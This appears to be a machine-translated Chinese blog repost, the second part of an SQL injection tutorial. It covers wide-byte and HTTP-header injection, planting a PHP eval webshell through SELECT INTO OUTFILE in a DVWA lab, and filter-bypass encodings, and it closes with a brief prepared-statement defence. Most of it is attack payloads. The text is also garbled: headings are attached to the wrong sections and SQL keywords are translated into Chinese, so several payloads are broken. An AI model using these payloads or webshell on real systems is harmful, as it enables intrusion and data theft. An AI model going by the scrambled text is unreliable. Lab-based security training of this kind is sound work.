【网络安全的神秘世界】SQL注入(下) 网络安全 注入

【网络安全的神秘世界】SQL注入(下) 🌝博客主页:泥菩萨 💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 3.7 二次注入 不好挖这

# 由于数据库使用gbk编码(两个字节编码为一个汉字),%df%5c=run

科比运气”或1=1#

绕过程序:

我输入了1kobe%df\’和1=1#,仍然失败。

抓包后发现原因是网站前端将URL中的%编码为%25。

2抓包如果直接在bp中修改,则不会进行URL编码。

一旦掌握了这个原理,您还可以将%df 替换为任何其他两位十六进制数。不同的编码方法需要不同的旁路方法。

3.7 二次注入

HTTP头注入实际上并不是一种新型的SQL注入,而是指其在各种出现SQL注入漏洞的场景中的使用。

如果攻击者控制了这些HTTP 标头字段的值,并且应用程序没有正确转义或清理这些输入,则恶意SQL 代码可能会导致数据泄漏、数据篡改,甚至可能插入完全控制。数据库

通过输入皮卡丘的http 标头进行测试。

捕获数据包并将其发送到[Repeater] 模块,删除User-Agent 值,并自行创建单引号。

出现语法错误。这意味着您输入的内容将在数据库中查询。接下来就很简单了,和前面的错误注入一样。

\’或updatexml(1,concat(0x7e,database()),0) 或\’

Cookie注入是通过抓包的方式向cookie中插入注入语句。这与上面的步骤相同,所以这里不再重复。

3.8 宽字节注入

mysql支持外部写文件(这里的“外部”是指服务器内部,不包括mysql)。您必须使用select into outfile 命令。

select into outfile 的作用:将选定的代码行写入文件,并在服务器上创建该文件。

使用select into outfile 的先决条件是:

为了知道一个网站的绝对路径,我们通过开源程序、错误信息、phpinfo接口、404接口等知道我们需要对目录有写权限。一般情况下,image等存放图片的目录需要有写权限。权限和mysql文件权限(即可以读写系统上的文件),默认只有root权限可用

另外,所写入的文件名不得在网站上存在。如果不存在就会失败。

使用outfile编写木马语句。文件名是shell2.php。

1\’ 加入选择1,\’?php eval($_POST[\’a\’]);\’ 输出文件\’ /var/www/html/shell2.php

eval():允许执行传递的PHP 代码。 String $_POST[\’a\’]:a是攻击者定义的关键字,用于接收攻击者输入的内容。 /var/www/html:网站的根目录,如果底层是Linux系统,文件通常位于该目录

1进入DVWA中的低级SQL注入

2进入http://ip:port/shell2.php,打开hackerbar插件,勾选Post data,将参数传递给a,点击Run运行即可

pwd是操作系统命令,因此不能直接传递给php。必须按照规定的格式书写。

使用get 方法直接在URL 内构建

1\’ 加入选择1,\’?php eval($_GET[\’a\’]);\’ 输出文件\’ /var/www/html/shell2.php

3打开蚁剑。密码为(出于安全考虑,蚁剑只能连接post方法)

3.9 http header和cookie注入

四、从MySQL注入到GetShell

适合设置黑名单,允许你任意将某些单词更改为大写或小写

示例:选择、选择

五、SQL注入绕过

大小写转换无法绕过,正则表达式会替换或删除select、Union 等关键字。你可以尝试双写。

示例:SELselectECT、SELSeselectleCTect

5.1 大小写绕过

当您在浏览器中键入链接时,浏览器会对特殊字符执行URL 编码,您可以通过编码来避免这种情况。

空格%20、单引号%27、左括号%28、右括号%29

1URL编码

1%2527id=1%252f%252a*/UNION%252f%252a%252a/选择

2十六进制编码

mysqlselect * from user_id=1 and (extractvalue(1,concat(0x7e,(first_name=0x61646d696e),0x7e)));

5.2 替换关键字

例如,如果您输入“select 1”并且网站阻止您,您可以输入“select/**/1”以避免评论。

1一般评论

让我们看一下注释中常用的符号。

— , /**/, #, –,

2内嵌评论

没有注释语义的注释符号:仍然可以执行结果。

内嵌注释比常规注释更常用。它具有只有MySQL 才能理解的功能。

/*!SELECT*/1/*!union*//*!all*//*!select*/2;

5.3 使用编码

1.功能

bin()#二进制

十六进制()#十六进制

bin(), hex()==ascii()

睡眠()==基准()

基准(计数、公式)

基准测试重复计算expr 表达式计数次数。这样就可以评价mysql执行这个expr表达式的效率了。

concat_ws()==concat()

concat_wa(\’separator\’, field 1, field 2.) #合并多列中的字段并添加分隔符

mid(), substr()==substring() #截取字符串

strcmp(str1,str2)

#比较两个字符串。如果两个字符串相等,则返回0。如果第二个字符小于第一个字符,则返回1。否则返回-1。

strcmp(左(\’密码\’,1),0x70)=0

strcmp(左(\’密码\’,1),0x69)=1

strcmp(left(\’密码\’,1),0x71)=-1

2. 符号

如果and 和or 不可用,可以用|| 替换它们。

=如果你不能使用它,

空格可以用以下符号表示: %20 %09 % 0a %0b %0c %0d %a0 /**/

5.4 使用注释

1.反引号`(tab键上方):可以过滤空格和正则表达式,特殊情况下还可以用作注释。

从用户中选择一个ID。

2.-+:过滤空格和关键字。

select+user_id-1+1.来自用户;

3、@符号:@代表用户定义,@@代表系统变量

从用户中选择@^1;

4. 可用符号:`、~、@、%、()、[]、-、+、|、%00

5.5 等价函数与命令替换

—————-SQL注入危害这么大,为什么不换数据库呢?

由于mysql只负责存储和查询数据,而注入是代码级问题,所以不需要修复数据库。

5.6 特殊符号

预编译:提前构建语句并仅发送指定类型的值

String sql=\’select id,num from user where id=?\’ //定义SQL 语句

准备语句ps=conn.prepareStatemnt(sql)

ps.setInt(1,id); //设置变量。

ps.executeQuery(); //执行。

那么后面输入的任何内容都只会作为字符串执行,关键字无法起到任何语义作用。

六、SQL注入防御

SQL语句预编译并不是所有场景都可以使用。您还可以根据业务特点精准检测和过滤输入内容。

#【网络安全的神秘世界】以上有关SQL注入(二)的相关内容摘自网络,仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92793.html

(0)
CSDN's avatarCSDN
上一篇 2024年7月4日 下午4:35
下一篇 2024年7月4日 下午4:35

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注